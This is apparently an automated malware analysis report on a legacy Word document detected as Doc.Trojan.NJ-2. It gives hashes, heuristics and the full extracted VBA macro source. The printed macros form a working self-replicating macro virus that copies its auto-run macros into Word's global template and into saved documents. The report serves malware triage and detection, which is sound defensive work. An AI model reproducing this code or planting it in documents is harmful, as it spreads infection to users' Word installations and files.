Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f49f544edd61f00…

MALICIOUS

Office (OLE)

43.0 KB Created: 1998-02-02 19:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 86079da5e48ed19ecb2509d06a2f7845 SHA-1: da654e51a421a941863c6ffbadb758585d1de792 SHA-256: 3f49f544edd61f00402f3f6f4c3f8101729b3b7819c41ef0652e535461cbf917
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The AutoOpen and AutoClose macros attempt to copy themselves and other macros, including one named 'Archie', into the global template. This behavior suggests an attempt to establish persistence or spread the malicious macros.

Heuristics 5

  • ClamAV: Doc.Trojan.NJ-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NJ-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3762 bytes
SHA-256: ad3df7bd2e0ebde81d1162dabcec47f19bb53cfc64c3cd992b69f0f226c88f45
Detection
ClamAV: Doc.Trojan.NJ-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "Archie" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
    WordBasic.MacroCopy "Global:Archie", WordBasic.[FileName$]() + ":Archie"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec", 1
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", 1
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", 1
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish2

For i = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](i, 0, 0) = "Archie" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":Archie", "Global:Archie"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExec", "Global:AutoExec", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
End If

Finish2:
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "Archie" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":Archie", "Global:Archie"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExec", "Global:AutoExec", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()

WordBasic.Call "AutoOpen"

End Sub

Attribute VB_Name = "AutoNew"

Public Sub MAIN()
Dim i
Dim VInstalled
Rem On Error Goto Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "Archie" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
    WordBasic.MacroCopy "Global:Archie", WordBasic.[FileName$]() + ":Archie"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec", 1
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", 1
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", 1
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "Archie"

Public Sub MAIN()

Rem A Virus from Nightmare Joker's Demolition Kit!
Rem Translated into English by Dark Night (VBB)

End Sub

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